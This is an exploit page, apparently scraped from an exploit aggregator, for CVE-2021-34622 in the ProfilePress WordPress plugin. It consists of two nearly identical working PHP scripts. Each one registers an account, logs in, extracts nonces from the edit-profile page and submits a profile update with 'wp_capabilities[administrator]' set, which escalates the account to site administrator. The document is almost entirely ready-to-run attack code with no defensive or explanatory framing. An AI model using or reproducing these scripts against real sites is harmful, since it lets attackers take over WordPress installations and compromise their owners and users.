Exploit for ProfilePress 3.0 - 3.1.3 - Authenticated Privilege Escalation CVE-2021-34622

## https://sploitus.com/exploit?id=WPEX-ID:35F57001-830B-431B-B1C6-09481315949B
<?php

// Settings
$wp_url = $argv[1];

$proxy = '127.0.0.1:8081';

// Create User
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r3',
    'reg_email' => 'Hax0rs3@Hax0r.com',
    'reg_password' => 'password',
    'reg_password_present' => 'true',
    'reg_first_name' => 'Hax0r3',
    'reg_last_name' => 'hack',
    'action' => 'pp_ajax_signup',
    'melange_id' => '',
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

echo "Log in as newly created user";
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'pp_ajax_login',
    'data' => 'login_username=hax0r3&login_password=password'
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

//Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/account/edit-profile/');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);

//Nonce
preg_match('/"nonce":"([^"]+)"/', $content, $matches);
$nonce = $matches[1];

preg_match('/value="Save Changes"><input type="hidden" id="_wpnonce" name="_wpnonce" value="([^"]+)"/', $content, $matches);
$wpnonce = $matches[1];

// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r3',
    'eup_email' => 'Hax0r3@Hax0r.com',
    'eup_first_name' => 'Hax0r3',
    'eup_nickname' => 'Hax0r',
    'eup_display_name' => 'Hax0r',
    'eup_last_name' => 'hack',
    '_wpnonce' => $wpnonce,
    'nonce' => $nonce,
    'ppmyac_form_action' => 'updateProfile',
    'action' => 'pp_ajax_editprofile',
    'is_melange' => 'true',
    'wp_capabilities[administrator]' => '1'

]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>

or 

<?php

// Settings
$wp_url = $argv[1];

$proxy = '127.0.0.1:8081';

// Create User
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r3',
    'reg_email' => 'Hax0rs3@Hax0r.com',
    'reg_password' => 'password',
    'reg_password_present' => 'true',
    'reg_first_name' => 'Hax0r3',
    'reg_last_name' => 'hack',
    'action' => 'pp_ajax_signup',
    'melange_id' => '',
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

echo "Log in as newly created user";
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'pp_ajax_login',
    'data' => 'login_username=hax0r3&login_password=password'
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

//Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/account/edit-profile/');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);

//Nonce
preg_match('/"nonce":"([^"]+)"/', $content, $matches);
$nonce = $matches[1];

preg_match('/value="Save Changes"><input type="hidden" id="_wpnonce" name="_wpnonce" value="([^"]+)"/', $content, $matches);
$wpnonce = $matches[1];

// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r3',
    'eup_email' => 'Hax0r3@Hax0r.com',
    'eup_first_name' => 'Hax0r3',
    'eup_nickname' => 'Hax0r',
    'eup_display_name' => 'Hax0r',
    'eup_last_name' => 'hack',
    '_wpnonce' => $wpnonce,
    'nonce' => $nonce,
    'ppmyac_form_action' => 'updateProfile',
    'eup_submit' => '1',
    'is_melange' => 'true',
    'wp_capabilities[administrator]' => '1'

]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>